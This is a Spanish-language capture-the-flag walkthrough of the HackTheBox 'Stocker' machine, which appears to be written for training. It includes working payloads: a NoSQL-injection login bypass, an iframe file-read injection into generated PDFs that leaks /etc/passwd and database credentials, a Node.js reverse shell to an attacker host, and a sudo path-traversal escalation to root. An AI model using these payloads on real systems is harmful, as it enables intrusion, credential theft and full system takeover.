1. Comprobación del sistema operativo
python whichSystem.py 10.10.11.196
Tiene como salida:
10.10.11.196 (ttl -> 63): Linux
2. Comprobamos servicios y lanzamos scripts principales contra los principales puertos
nmap -Pn -sCV -p- 10.10.11.196
Obtenemos lo siguiente:
Starting Nmap 7.93SVN ( https://nmap.org ) at 2023-02-27 10:18 CET
Nmap scan report for 10.10.11.196
Host is up (0.041s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
| 256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_ 256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.21 seconds
Debemos añadir entonces stocker.htb al archivo /etc/hosts
.
3. Realizamos un fuzzing web
Empezamos realizando un fuzzing de directorio mediante la herramienta gobuster, pero no aparece ningún resultado interesante:
gobuster dir -u http://stocker.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
Sin embargo, si realizamos un fuzzing de subdominios, podemos observar que aparece el siguiente dev.stocker.htb
, por lo que lo añadimos al fichero /etc/hosts
gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u stocker.htb -t 50 --append-domain
4. Explotación de login de usuario
Observamos como dicho endpoint se trata de un panel de autenticación. Podemos empezar probando una inyección Sql normal, pero vemos que esto no nos aporta ningún resultado. Si intentamos cambiar el tipo de la petición (content-type
) vemos que nos deja establecer el valor application/json por lo que podemos probar inyecciones nsql. Para ello podemos hacer uso de hacktricks (https://book.hacktricks.xyz/pentesting-web/nosql-injection), probando por ejemplo con la siguiente, mediante el proxy Burp:
{"username": {"$ne": null}, "password": {"$ne": null} }
Vemos como si nos deja acceder, y nos redirige al endpoint /stocks
.
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 27 Feb 2023 09:53:38 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 56
Connection: close
X-Powered-By: Express
Location: /stock
Vary: Accept
<p>Found. Redirecting to <a href="/stock">/stock</a></p>
Si observamos dicha página http://dev.stocker.htbk/stock
, podemos observar una especie de carrito de la compra. Este, en el código fuente, realiza la siguiente petición a una api, como se puede ver a continuación:
const $ = (selector) => document.querySelector(selector);
const basket = [];
let productStore = [];
const cartModalElement = $("#cart-modal");
const cartModal = new bootstrap.Modal(cartModalElement);
fetch("/api/products")
.then((response) => response.json())
.then((products) => {
productStore = products;
const template = $("#product-template");
products.forEach((product) => {
const clone = template.content.cloneNode(true);
const $$ = (selector) => clone.querySelector(selector);
$$(".item-title").textContent = product.title;
$$(".item-description").textContent = product.description;
$$(".item-price").textContent = `£${product.price.toFixed(2)}`;
$$(".item-stock").textContent = `${product.currentStock} In Stock`;
$$(".item-image").setAttribute("src", `/static/img/${product.image}`);
$$(".add-to-basket").setAttribute("product-id", product._id);
$("#item-container").appendChild(clone);
});
Array.from(document.querySelectorAll(".add-to-basket")).forEach((button) => {
button.addEventListener("click", () => {
const product = productStore.find((product) => product._id === button.getAttribute("product-id"));
if (!product) return;
const existing = basket.find((basketItem) => basketItem._id === product._id);
if (existing) {
existing.amount++;
} else {
basket.push({ ...product, amount: 1 });
}
alert("Added to basket!");
console.log(basket);
});
});
});
const beforePurchase = $("#before-purchase");
const afterPurchase = $("#after-purchase");
const cartTable = $("#cart-table");
const submitPurchase = $("#submit-purchase");
const purchaseOrderLink = $("#purchase-order-link");
cartModalElement.addEventListener("show.bs.modal", () => {
beforePurchase.style.display = "";
afterPurchase.style.display = "none";
document.querySelectorAll(".basket-item").forEach((item) => item.remove());
const template = $("#basket-template");
basket.forEach((basketItem) => {
const clone = template.content.cloneNode(true);
const $$ = (selector) => clone.querySelector(selector);
$$(".item-name").textContent = basketItem.title;
$$(".item-quantity").textContent = basketItem.amount;
$$(".item-price").textContent = `£${basketItem.price.toFixed(2)}`;
cartTable.prepend(clone);
});
$("#cart-total").textContent = basket
.map((x) => x.price * x.amount)
.reduce((a, b) => a + b, 0)
.toFixed(2);
if (basket.length > 0) {
submitPurchase.style.display = "";
} else {
submitPurchase.style.display = "none";
}
});
submitPurchase.addEventListener("click", () => {
fetch("/api/order", {
method: "POST",
body: JSON.stringify({ basket }),
headers: {
"Content-Type": "application/json",
},
})
.then((response) => response.json())
.then((response) => {
if (!response.success) return alert("Something went wrong processing your order!");
purchaseOrderLink.setAttribute("href", `/api/po/${response.orderId}`);
$("#order-id").textContent = response.orderId;
beforePurchase.style.display = "none";
afterPurchase.style.display = "";
submitPurchase.style.display = "none";
});
});
5. Añadimos productos al carrito
Si hacemos una petición GET al recurso /api/products
obtenemos como respuesta un listado de productos:
[{"_id":"638f116eeb060210cbd83a8d","title":"Cup","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0},{"_id":"638f116eeb060210cbd83a8f","title":"Bin","description":"It's a rubbish bin.","image":"bin.jpg","price":76,"currentStock":15,"__v":0},{"_id":"638f116eeb060210cbd83a91","title":"Axe","description":"It's an axe.","image":"axe.jpg","price":12,"currentStock":21,"__v":0},{"_id":"638f116eeb060210cbd83a93","title":"Toilet Paper","description":"It's toilet paper.","image":"toilet-paper.jpg","price":0.69,"currentStock":4212,"__v":0}]
Podemos hacer una peticion POST al recurso /api/order
, para añadir un producto determinado para tramitar su compra, enivando como contenido de la petición el siguiente:
{"_id":"638f116eeb060210cbd83a8d","title":"Cup","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0}
Si recargamos entonces la página, nos aparecerá un listado de productos listos para comprar. Si seleccionamos uno, lo añadimos a la cesta y lo compramos, veremos que para cada compra se nos genera un archivo pdf con el contenido del json, de la especificación del producto. Si observamos más detenidamente este botón de comprar lo que hace en realidad es una peticion POST al recurso /api/order
. Se nos ocurre intentar explotar XSS
, para intentar mostrar por ejemplo el archivo /etc/passwd
, realizando la siguiente petición:
POST /api/order HTTP/1.1
Host: dev.stocker.htb
Content-Length: 192
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://dev.stocker.htb
Referer: http://dev.stocker.htb/stock
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: connect.sid=s%3AG5vhzG6q9xrpsoudvC-yC-WgfEcBzel2.SIkw0RdBGMIlfSaBSOd1zh8y1XcpQ%2BcBa%2Bq%2FiW2s4lk
Connection: close
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe src=/etc/passwd></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
Y vemos como en la respuesta se imprime el contenido de dicho archivo:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:112:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:113::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:114::/nonexistent:/usr/sbin/nologin
landscape:x:109:116::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
fwupd-refresh:x:112:119:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mongodb:x:113:65534::/home/mongodb:/usr/sbin/nologin
angoose:x:1001:1001:,,,:/home/angoose:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
6. Fichero de configuración del servidor
Aprovechando esta vulnerabilidad también podemos ver el fichero de configuración de nginx, situado en la ruta (/etc/nginx/nginx.conf
), para ver posibles usuarios o credenciales que estén directamente hardcodeados en el código. Vemos como aquí no hay nada interesante salvo que el fichero de la web dev.stocker.htb
se encuentra en la siguiente ruta:
# Virtual Host Configs
##
include /etc/nginx/conf.d/*.conf;
server {
listen 80;
root /var/www/dev;
index index.html index.htm index.nginx-debian.html;
Buscando por internet observamos que el fichero de configuración del servicio NodeJS puede tener el nombre de app, main o index.js, por lo que probamos a obtener dicho archivo:
"<iframe src=file:///var/www/dev/index.js height=1000px width=1000px></iframe>"
Obteniendo lo que parecen ser unos credenciales:
// TODO: Configure loading from dotenv for production
const dbURI = "mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?authSource=admin&w=1";
7. Obtención de una shell como usuario
Observando el fichero /etc/passwd
capturado en el paso 5, vemos que no existe ningún usuario llamado dev. Por lo que vamos probando con los posibles usuarios, resultando ser el usuario angoose con la password IHeardPassphrasesArePrettySecure
. Pudiendo entonces conectarnos por el servicio ssh.
8. Flag de usuario
Somos capaces de obtener la flag de usuario -> 4d85e98d590478345e259b7552444410
9. Escalado de privilegios
Si ejecutamos sudo -l
obtenemos lo siguiente:
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
Por lo que el usuario angoose, puede ejecutar el comando usr/bin/node /usr/local/scripts/*.js
con permisos del usuario root. Se nos puede ocurrir entonces crear una revershell mediante el lenguaje Javascript en el directorio /usr/local/scripts
, introduciendo el siguiente contenido, pero vemos que tiene permisos de administrador:
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(LPORT, "LHOST", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();
Esto puede ser muy fácil de saltar, pues en lugar de ejecutar el comando usr/bin/node /usr/local/scripts/*.js
podemos ejecutar algo como /usr/local/scripts/../../../home/angoose/script.js
, por lo que podemos establecer el mismo payload que antes. Si lanzamos un netcat en nuestro equipo local, podemos observar como somos capaces de establecer una shell como el usuario root.
10. Flag de root
Somos entonces capaces de obtener el flag del usuario root -> af0384c294f9e8a52d8ca14415973bbb